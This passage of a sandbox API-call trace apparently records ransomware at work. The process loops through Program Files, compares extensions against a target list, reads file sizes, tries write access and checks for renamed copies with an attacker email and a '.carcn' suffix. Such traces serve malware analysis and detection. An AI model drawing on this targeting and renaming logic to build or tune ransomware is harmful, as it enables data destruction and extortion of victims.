shared\\ClickToRun\\IntegratedOffice.exe") returned 78 [0295.789] lstrlenW (lpString=".jpg") returned 4 [0295.789] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1 [0295.789] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\IntegratedOffice.exe") returned 78 [0295.789] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\IntegratedOffice.exe") returned 78 [0295.789] lstrlenW (lpString=".doc") returned 4 [0295.789] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1 [0295.789] lstrlenW (lpString=".docx") returned 5 [0295.789] lstrcmpiW (lpString1=".docx", lpString2="e.exe") returned -1 [0295.789] lstrlenW (lpString=".pdf") returned 4 [0295.790] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1 [0295.790] lstrlenW (lpString=".xls") returned 4 [0295.790] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1 [0295.790] lstrlenW (lpString=".xlsx") returned 5 [0295.790] lstrcmpiW (lpString1=".xlsx", lpString2="e.exe") returned -1 [0295.790] lstrlenW (lpString=".ppt") returned 4 [0295.790] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1 [0295.790] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\IntegratedOffice.exe") returned 78 [0295.790] lstrlenW (lpString=".zip") returned 4 [0295.790] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1 [0295.790] lstrlenW (lpString=".rar") returned 4 [0295.790] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1 [0295.790] lstrlenW (lpString=".bz2") returned 4 [0295.790] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1 [0295.790] lstrlenW (lpString=".7z") returned 3 [0295.790] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1 [0295.790] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\IntegratedOffice.exe") returned 78 [0295.790] lstrlenW (lpString=".dbf") returned 4 [0295.790] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1 [0295.790] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\IntegratedOffice.exe") returned 78 [0295.790] lstrlenW (lpString=".1cd") returned 4 [0295.790] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1 [0295.790] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\IntegratedOffice.exe") returned 78 [0295.790] lstrlenW (lpString=".jpg") returned 4 [0295.790] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1 [0295.791] lstrcmpiW (lpString1=".dll", lpString2=".carcn") returned 1 [0295.791] lstrlenW (lpString="vcruntime140.dll") returned 16 [0295.791] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\vcruntime140.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\vcruntime140.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c [0295.791] GetFileSizeEx (in: hFile=0x35c, lpFileSize=0x363ff14 | out: lpFileSize=0x363ff14*=88752) returned 1 [0295.791] CloseHandle (hObject=0x35c) returned 1 [0295.791] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\vcruntime140.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\vcruntime140.dll")) returned 0x20 [0295.792] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\vcruntime140.dll.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\vcruntime140.dll.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0295.792] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\vcruntime140.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\vcruntime140.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0295.792] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\vcruntime140.dll") returned 74 [0295.792] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\vcruntime140.dll") returned 74 [0295.792] lstrlenW (lpString=".doc") returned 4 [0295.792] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0295.792] lstrlenW (lpString=".docx") returned 5 [0295.792] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0295.792] lstrlenW (lpString=".pdf") returned 4 [0295.792] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0295.792] lstrlenW (lpString=".xls") returned 4 [0295.792] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0295.792] lstrlenW (lpString=".xlsx") returned 5 [0295.792] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0295.792] lstrlenW (lpString=".ppt") returned 4 [0295.792] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0295.792] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\vcruntime140.dll") returned 74 [0295.792] lstrlenW (lpString=".zip") returned 4 [0295.792] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0295.793] lstrlenW (lpString=".rar") returned 4 [0295.793] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0295.793] lstrlenW (lpString=".bz2") returned 4 [0295.793] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0295.793] lstrlenW (lpString=".7z") returned 3 [0295.793] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0295.793] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\vcruntime140.dll") returned 74 [0295.793] lstrlenW (lpString=".dbf") returned 4 [0295.793] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0295.793] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\vcruntime140.dll") returned 74 [0295.793] lstrlenW (lpString=".1cd") returned 4 [0295.793] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0295.793] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\vcruntime140.dll") returned 74 [0295.793] lstrlenW (lpString=".jpg") returned 4 [0295.793] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0295.793] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\vcruntime140.dll") returned 74 [0295.793] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\vcruntime140.dll") returned 74 [0295.793] lstrlenW (lpString=".doc") returned 4 [0295.793] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0295.793] lstrlenW (lpString=".docx") returned 5 [0295.793] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0295.793] lstrlenW (lpString=".pdf") returned 4 [0295.793] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0295.793] lstrlenW (lpString=".xls") returned 4 [0295.793] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0295.793] lstrlenW (lpString=".xlsx") returned 5 [0295.793] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0295.794] lstrlenW (lpString=".ppt") returned 4 [0295.794] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0295.794] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\vcruntime140.dll") returned 74 [0295.794] lstrlenW (lpString=".zip") returned 4 [0295.794] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0295.794] lstrlenW (lpString=".rar") returned 4 [0295.794] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0295.794] lstrlenW (lpString=".bz2") returned 4 [0295.794] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0295.794] lstrlenW (lpString=".7z") returned 3 [0295.794] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0295.794] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\vcruntime140.dll") returned 74 [0295.794] lstrlenW (lpString=".dbf") returned 4 [0295.794] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0295.794] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\vcruntime140.dll") returned 74 [0295.794] lstrlenW (lpString=".1cd") returned 4 [0295.794] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0295.794] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\vcruntime140.dll") returned 74 [0295.794] lstrlenW (lpString=".jpg") returned 4 [0295.794] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0295.794] lstrcmpiW (lpString1=".mui", lpString2=".carcn") returned 1 [0295.794] lstrlenW (lpString="tipresx.dll.mui") returned 15 [0295.794] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ar-SA\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ar-sa\\tipresx.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c [0295.795] GetFileSizeEx (in: hFile=0x35c, lpFileSize=0x363ff14 | out: lpFileSize=0x363ff14*=10752) returned 1 [0295.795] CloseHandle (hObject=0x35c) returned 1 [0295.795] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ar-SA\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ar-sa\\tipresx.dll.mui")) returned 0x20 [0295.796] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ar-SA\\tipresx.dll.mui.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ar-sa\\tipresx.dll.mui.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0295.796] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ar-SA\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ar-sa\\tipresx.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0295.796] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ar-SA\\tipresx.dll.mui") returned 72 [0295.796] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ar-SA\\tipresx.dll.mui") returned 72 [0295.796] lstrlenW (lpString=".doc") returned 4 [0295.796] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0295.796] lstrlenW (lpString=".docx") returned 5 [0295.796] lstrcmpiW (lpString1=".docx", lpString2="l.mui") returned -1 [0295.796] lstrlenW (lpString=".pdf") returned 4 [0295.796] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0295.796] lstrlenW (lpString=".xls") returned 4 [0295.796] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0295.796] lstrlenW (lpString=".xlsx") returned 5 [0295.796] lstrcmpiW (lpString1=".xlsx", lpString2="l.mui") returned -1 [0295.796] lstrlenW (lpString=".ppt") returned 4 [0295.796] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0295.796] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ar-SA\\tipresx.dll.mui") returned 72 [0295.796] lstrlenW (lpString=".zip") returned 4 [0295.796] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0295.796] lstrlenW (lpString=".rar") returned 4 [0295.796] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0295.796] lstrlenW (lpString=".bz2") returned 4 [0295.797] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0295.797] lstrlenW (lpString=".7z") returned 3 [0295.797] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0295.797] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ar-SA\\tipresx.dll.mui") returned 72 [0295.797] lstrlenW (lpString=".dbf") returned 4 [0295.797] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0295.797] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ar-SA\\tipresx.dll.mui") returned 72 [0295.797] lstrlenW (lpString=".1cd") returned 4 [0295.797] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0295.797] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ar-SA\\tipresx.dll.mui") returned 72 [0295.797] lstrlenW (lpString=".jpg") returned 4 [0295.797] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0295.797] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ar-SA\\tipresx.dll.mui") returned 72 [0295.797] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ar-SA\\tipresx.dll.mui") returned 72 [0295.797] lstrlenW (lpString=".doc") returned 4 [0295.797] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0295.797] lstrlenW (lpString=".docx") returned 5 [0295.797] lstrcmpiW (lpString1=".docx", lpString2="l.mui") returned -1 [0295.797] lstrlenW (lpString=".pdf") returned 4 [0295.797] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0295.797] lstrlenW (lpString=".xls") returned 4 [0295.797] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0295.797] lstrlenW (lpString=".xlsx") returned 5 [0295.797] lstrcmpiW (lpString1=".xlsx", lpString2="l.mui") returned -1 [0295.797] lstrlenW (lpString=".ppt") returned 4 [0295.797] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0295.797] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ar-SA\\tipresx.dll.mui") returned 72 [0295.797] lstrlenW (lpString=".zip") returned 4 [0295.798] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0295.798] lstrlenW (lpString=".rar") returned 4 [0295.798] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0295.798] lstrlenW (lpString=".bz2") returned 4 [0295.798] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0295.798] lstrlenW (lpString=".7z") returned 3 [0295.798] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0295.798] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ar-SA\\tipresx.dll.mui") returned 72 [0295.798] lstrlenW (lpString=".dbf") returned 4 [0295.798] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0295.798] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ar-SA\\tipresx.dll.mui") returned 72 [0295.798] lstrlenW (lpString=".1cd") returned 4 [0295.798] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0295.798] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ar-SA\\tipresx.dll.mui") returned 72 [0295.798] lstrlenW (lpString=".jpg") returned 4 [0295.798] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0295.798] lstrcmpiW (lpString1=".mui", lpString2=".carcn") returned 1 [0295.798] lstrlenW (lpString="tipresx.dll.mui") returned 15 [0295.798] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\bg-BG\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\bg-bg\\tipresx.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c [0295.799] GetFileSizeEx (in: hFile=0x35c, lpFileSize=0x363ff14 | out: lpFileSize=0x363ff14*=10752) returned 1 [0295.799] CloseHandle (hObject=0x35c) returned 1 [0295.799] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\bg-BG\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\bg-bg\\tipresx.dll.mui")) returned 0x20 [0295.799] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\bg-BG\\tipresx.dll.mui.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\bg-bg\\tipresx.dll.mui.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0295.799] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\bg-BG\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\bg-bg\\tipresx.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0295.800] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\bg-BG\\tipresx.dll.mui") returned 72 [0295.800] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\bg-BG\\tipresx.dll.mui") returned 72 [0295.800] lstrlenW (lpString=".doc") returned 4 [0295.800] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0295.800] lstrlenW (lpString=".docx") returned 5 [0295.800] lstrcmpiW (lpString1=".docx", lpString2="l.mui") returned -1 [0295.800] lstrlenW (lpString=".pdf") returned 4 [0295.800] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0295.800] lstrlenW (lpString=".xls") returned 4 [0295.800] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0295.800] lstrlenW (lpString=".xlsx") returned 5 [0295.800] lstrcmpiW (lpString1=".xlsx", lpString2="l.mui") returned -1 [0295.800] lstrlenW (lpString=".ppt") returned 4 [0295.800] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0295.800] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\bg-BG\\tipresx.dll.mui") returned 72 [0295.800] lstrlenW (lpString=".zip") returned 4 [0295.800] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0295.800] lstrlenW (lpString=".rar") returned 4 [0295.800] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0295.800] lstrlenW (lpString=".bz2") returned 4 [0295.800] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0295.800] lstrlenW (lpString=".7z") returned 3 [0295.800] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0295.800] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\bg-BG\\tipresx.dll.mui") returned 72 [0295.801] lstrlenW (lpString=".dbf") returned 4 [0295.801] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0295.801] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\bg-BG\\tipresx.dll.mui") returned 72 [0295.801] lstrlenW (lpString=".1cd") returned 4 [0295.801] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0295.801] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\bg-BG\\tipresx.dll.mui") returned 72 [0295.801] lstrlenW (lpString=".jpg") returned 4 [0295.801] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0295.801] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\bg-BG\\tipresx.dll.mui") returned 72 [0295.801] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\bg-BG\\tipresx.dll.mui") returned 72 [0295.801] lstrlenW (lpString=".doc") returned 4 [0295.801] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0295.801] lstrlenW (lpString=".docx") returned 5 [0295.801] lstrcmpiW (lpString1=".docx", lpString2="l.mui") returned -1 [0295.801] lstrlenW (lpString=".pdf") returned 4 [0295.801] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0295.801] lstrlenW (lpString=".xls") returned 4 [0295.801] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0295.801] lstrlenW (lpString=".xlsx") returned 5 [0295.801] lstrcmpiW (lpString1=".xlsx", lpString2="l.mui") returned -1 [0295.801] lstrlenW (lpString=".ppt") returned 4 [0295.801] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0295.801] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\bg-BG\\tipresx.dll.mui") returned 72 [0295.801] lstrlenW (lpString=".zip") returned 4 [0295.801] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0295.801] lstrlenW (lpString=".rar") returned 4 [0295.802] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0295.802] lstrlenW (lpString=".bz2") returned 4 [0295.802] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0295.802] lstrlenW (lpString=".7z") returned 3 [0295.802] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0295.802] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\bg-BG\\tipresx.dll.mui") returned 72 [0295.802] lstrlenW (lpString=".dbf") returned 4 [0295.802] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0295.802] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\bg-BG\\tipresx.dll.mui") returned 72 [0295.802] lstrlenW (lpString=".1cd") returned 4 [0295.802] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0295.802] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\bg-BG\\tipresx.dll.mui") returned 72 [0295.802] lstrlenW (lpString=".jpg") returned 4 [0295.802] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0295.802] lstrcmpiW (lpString1=".mui", lpString2=".carcn") returned 1 [0295.802] lstrlenW (lpString="tipresx.dll.mui") returned 15 [0295.802] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\cs-CZ\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\cs-cz\\tipresx.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c [0295.803] GetFileSizeEx (in: hFile=0x35c, lpFileSize=0x363ff14 | out: lpFileSize=0x363ff14*=9728) returned 1 [0295.803] CloseHandle (hObject=0x35c) returned 1 [0295.803] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\cs-CZ\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\cs-cz\\tipresx.dll.mui")) returned 0x20 [0295.803] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\cs-CZ\\tipresx.dll.mui.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\cs-cz\\tipresx.dll.mui.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0295.804] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\cs-CZ\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\cs-cz\\tipresx.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0295.804] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\cs-CZ\\tipresx.dll.mui") returned 72 [0295.804] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\cs-CZ\\tipresx.dll.mui") returned 72 [0295.804] lstrlenW (lpString=".doc") returned 4 [0295.804] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0295.804] lstrlenW (lpString=".docx") returned 5 [0295.804] lstrcmpiW (lpString1=".docx", lpString2="l.mui") returned -1 [0295.804] lstrlenW (lpString=".pdf") returned 4 [0295.804] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0295.804] lstrlenW (lpString=".xls") returned 4 [0295.804] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0295.804] lstrlenW (lpString=".xlsx") returned 5 [0295.804] lstrcmpiW (lpString1=".xlsx", lpString2="l.mui") returned -1 [0295.804] lstrlenW (lpString=".ppt") returned 4 [0295.804] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0295.804] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\cs-CZ\\tipresx.dll.mui") returned 72 [0295.804] lstrlenW (lpString=".zip") returned 4 [0295.804] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0295.804] lstrlenW (lpString=".rar") returned 4 [0295.804] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0295.804] lstrlenW (lpString=".bz2") returned 4 [0295.804] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0295.804] lstrlenW (lpString=".7z") returned 3 [0295.804] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0295.804] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\cs-CZ\\tipresx.dll.mui") returned 72 [0295.804] lstrlenW (lpString=".dbf") returned 4 [0295.805] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0295.805] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\cs-CZ\\tipresx.dll.mui") returned 72 [0295.805] lstrlenW (lpString=".1cd") returned 4 [0295.805] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0295.805] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\cs-CZ\\tipresx.dll.mui") returned 72 [0295.805] lstrlenW (lpString=".jpg") returned 4 [0295.805] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0295.805] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\cs-CZ\\tipresx.dll.mui") returned 72 [0295.805] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\cs-CZ\\tipresx.dll.mui") returned 72 [0295.805] lstrlenW (lpString=".doc") returned 4 [0295.805] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0295.805] lstrlenW (lpString=".docx") returned 5 [0295.805] lstrcmpiW (lpString1=".docx", lpString2="l.mui") returned -1 [0295.805] lstrlenW (lpString=".pdf") returned 4 [0295.805] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0295.805] lstrlenW (lpString=".xls") returned 4 [0295.805] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0295.805] lstrlenW (lpString=".xlsx") returned 5 [0295.805] lstrcmpiW (lpString1=".xlsx", lpString2="l.mui") returned -1 [0295.805] lstrlenW (lpString=".ppt") returned 4 [0295.805] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0295.805] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\cs-CZ\\tipresx.dll.mui") returned 72 [0295.805] lstrlenW (lpString=".zip") returned 4 [0295.805] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0295.805] lstrlenW (lpString=".rar") returned 4 [0295.805] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0295.805] lstrlenW (lpString=".bz2") returned 4 [0295.806] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0295.806] lstrlenW (lpString=".7z") returned 3 [0295.806] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0295.806] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\cs-CZ\\tipresx.dll.mui") returned 72 [0295.806] lstrlenW (lpString=".dbf") returned 4 [0295.806] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0295.806] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\cs-CZ\\tipresx.dll.mui") returned 72 [0295.806] lstrlenW (lpString=".1cd") returned 4 [0295.806] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0295.806] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\cs-CZ\\tipresx.dll.mui") returned 72 [0295.806] lstrlenW (lpString=".jpg") returned 4 [0295.806] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0295.806] lstrcmpiW (lpString1=".mui", lpString2=".carcn") returned 1 [0295.806] lstrlenW (lpString="tipresx.dll.mui") returned 15 [0295.806] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\da-DK\\tipresx.dll.mui" (normalized: "c:\\program files\\common 